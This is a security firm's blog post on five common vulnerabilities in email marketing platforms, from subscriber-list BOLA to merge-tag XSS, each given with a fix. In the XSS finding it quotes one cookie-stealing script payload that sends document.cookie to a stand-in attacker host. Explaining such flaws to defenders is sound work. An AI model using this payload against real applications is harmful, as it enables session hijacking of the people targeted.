· Vuldesk Security Team · Security Research  · 8 min read

Email and Marketing Platform Security: What We Find When We Test Them

Email platforms manage subscriber lists, sending infrastructure, and customer PII at scale. Here are the five most common vulnerabilities we find — and why a breach here is worse than most founders expect.

Email platforms manage subscriber lists, sending infrastructure, and customer PII at scale. Here are the five most common vulnerabilities we find — and why a breach here is worse than most founders expect.

Email marketing platforms, marketing attribution tools, and campaign analytics SaaS products sit in an interesting security position: they handle large volumes of customer PII, they manage sending infrastructure that can be turned into a weapon, and they often have OAuth access to advertising accounts worth hundreds of thousands of dollars in ad spend.

Most founders in this space have thought carefully about deliverability, uptime, and feature parity with the competition. Very few have had a formal security review.

Here is what we find when we test them.


The unique risk profile of email and marketing SaaS

Before the specific findings, it is worth understanding why a breach in this product category is particularly damaging compared to, say, a task management tool.

Your data is other people’s data. An email platform’s database is not just a list of your own customers — it is a list of every subscriber belonging to every customer you have. If you have 500 customers and each has an average of 2,000 subscribers, a breach exposes 1 million email addresses belonging to people who have never heard of your platform and never consented to your security practices.

Your infrastructure can be weaponized. A compromised email sending platform can send spam or phishing emails to millions of people using your sending IPs and your authenticated domains. The reputational damage — deliverability destroyed, sending IPs blacklisted, SPF/DKIM records associated with malicious campaigns — can take months to recover from, even after the vulnerability is fixed.

Your OAuth tokens can drain ad budgets. Marketing attribution platforms connected to Google Ads and Meta Ads accounts hold tokens with the authority to create campaigns, modify budgets, and access sensitive conversion data. A breach that yields those tokens can drain a customer’s monthly ad budget in hours.


Finding 1: Subscriber list BOLA — one customer can enumerate another’s list

Broken Object Level Authorization (BOLA) is the single most common API vulnerability in multi-tenant SaaS, and email platforms are no exception.

How it works: Every subscriber list has an internal ID in your database. Your API endpoint GET /api/lists/8472/subscribers returns the subscribers for list 8472. If your API checks that the user is authenticated but does not verify that the authenticated user owns list 8472, any authenticated customer can access any other customer’s subscriber list by incrementing the ID.

What the attacker gets: Complete subscriber lists including email addresses, names, tags, custom fields, and engagement history — for every customer on your platform.

Why it matters: Subscriber lists are the core commercial asset of every business that uses an email platform. They represent years of acquisition spend, brand trust, and audience relationship. Leaking them is not just a data breach — it hands a competitor a turnkey customer acquisition asset.

The fix: Every API endpoint that touches list objects must verify ownership. The check must happen server-side, every time, not just at the session level. A common pattern is a middleware function that resolves the resource owner and compares it to the authenticated user before the route handler executes.


Finding 2: Sending infrastructure abuse via API rate limit gaps

Email sending APIs have two legitimate uses: your customers use them to send campaigns. Attackers use them to send spam.

If your API authentication is valid but your rate limiting is absent or bypassable, an attacker with a single compromised customer account can use your platform to send millions of emails — spam, phishing campaigns, or credential harvesting emails — from your authenticated sending infrastructure.

What it looks like in a pentest: We authenticate as a test customer and call the send endpoint in a tight loop. If the API does not enforce per-account rate limits at the infrastructure level (not just the application level), we can queue thousands of sends before any throttling kicks in.

The consequences:

  • Your sending IPs get blacklisted across major spam filters
  • Your SPF/DKIM records get associated with malicious campaigns
  • Legitimate customers experience deliverability collapse
  • You face potential CAN-SPAM and GDPR enforcement exposure

The fix: Enforce rate limits at the infrastructure level, not just in application code. Application-level rate limits can be bypassed by distributing requests across multiple connections. Use a dedicated rate limiting layer (Redis-backed, separate from your application) with per-account, per-IP, and per-domain limits.


Finding 3: Unsubscribe endpoint manipulation

Most email platforms implement a one-click unsubscribe endpoint at a URL like /unsubscribe?token=abc123. This endpoint is designed to be usable without authentication — the user clicking the unsubscribe link in an email has no session.

If the token is predictable (sequential IDs, weak hash of an email address) or if the endpoint does not validate that the token matches the email address being unsubscribed, an attacker can mass-unsubscribe entire lists.

What it looks like in a pentest: We generate a valid unsubscribe token for one email address, observe the token structure, and determine whether tokens for other addresses in the same campaign are predictable. If they are, we can automate mass unsubscription of an entire list without any authentication.

The consequences: A customer’s entire list is unsubscribed in minutes. Depending on how your platform handles double opt-in, re-subscribing them may require each subscriber to re-confirm — months of re-engagement work.

The fix: Unsubscribe tokens must be cryptographically random, sufficient length (128 bits minimum), and bound to a specific email address — the server must verify that the token matches the email being unsubscribed. Implement rate limiting on the unsubscribe endpoint itself.


Finding 4: OAuth token scope over-provisioning

Marketing attribution platforms that connect to Google Ads, Meta Ads, and similar platforms via OAuth often request broader scopes than they need.

The issue: If your platform only needs to read conversion data from Google Ads, you should request https://www.googleapis.com/auth/adwords.readonly. If instead you request the full https://www.googleapis.com/auth/adwords scope (read and write), a breach of your token storage yields tokens that can create campaigns, modify bids, pause campaigns, and drain budgets — not just read data.

What it looks like in a pentest: We audit the OAuth authorization flow, capture the scope parameter, and compare the requested scopes against the features your platform actually offers. Over-provisioned scopes are documented as a finding with the potential blast radius calculated.

The fix: Request the minimum scope required for your current feature set. When you add features that require additional scope, prompt the user to re-authorize with the expanded scope at that time. Audit your scope requirements against your feature set at least annually.


Finding 5: Email template XSS via unsanitized merge tags

Email marketing platforms allow customers to build templates with dynamic merge tags — {{first_name}}, {{company}}, etc. These values get inserted into templates at send time.

If the template editor does not sanitize merge tag values before rendering them in the preview or the sent email’s HTML, and if any part of the merge tag rendering happens in a web context (the preview pane, the sent campaign archive, the link tracking redirect page), there is an XSS vector.

What it looks like in a pentest: We create a test subscriber with the first name <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>. We then preview a campaign using that subscriber’s data. If the preview renders the merge tag without sanitization and the script executes, we have confirmed XSS in the application.

The consequence: XSS in an authenticated preview context means attacker-controlled code running in the session of any campaign manager who previews the affected template — including admin accounts.

The fix: All merge tag values must be HTML-escaped before insertion into any web-rendered template. The rendering function should treat merge tag values as untrusted user input, regardless of where they came from.


What does the external recon surface for email platforms?

A full pentest of the findings above requires authenticated access to your application. But the external recon we offer for free surfaces the contextual signals that predict what the internal testing will find:

  • SPF and DMARC configuration: If your own domain has weak email authentication, your internal practices probably match
  • Subdomain exposure: Staging environments, API documentation sites, and old campaign landing pages exposed via subdomains
  • Technology fingerprinting: Outdated versions of frameworks with known XSS or injection CVEs
  • Security headers: Missing CSP is a strong predictor of unaddressed XSS risk in the application

If the external recon surfaces gaps, the authenticated testing almost always surfaces more.

Get your free external recon report →


A note on the regulatory dimension

Email marketing platforms operating with EU subscriber data are subject to GDPR Article 32, which requires implementing “appropriate technical measures” to protect personal data. “Appropriate” is not defined — but in enforcement actions, regulators have consistently held that BOLA vulnerabilities, unprotected APIs, and XSS in authenticated contexts are not appropriate.

A pentest report documenting that you identified and remediated vulnerabilities is evidence of good-faith technical due diligence. The alternative — discovering vulnerabilities through a breach rather than a test — removes that defense entirely.


Summary

Email and marketing SaaS platforms carry a risk profile that is larger than most founders have mapped:

  1. Subscriber list BOLA — other customers’ data
  2. Sending infrastructure abuse — your platform weaponized
  3. Unsubscribe endpoint manipulation — lists destroyed
  4. OAuth scope over-provisioning — customer ad accounts at risk
  5. Merge tag XSS — admin session takeover

None of these are exotic attack techniques. They are standard web application testing procedures that any penetration tester runs on day one. The question is whether you find them first.

Back to Blog

Related Posts

View All Posts »

Enjoyed this? Get your free recon report.

Email us your domain — we'll send your external attack surface report within 24 hours. No sales call required.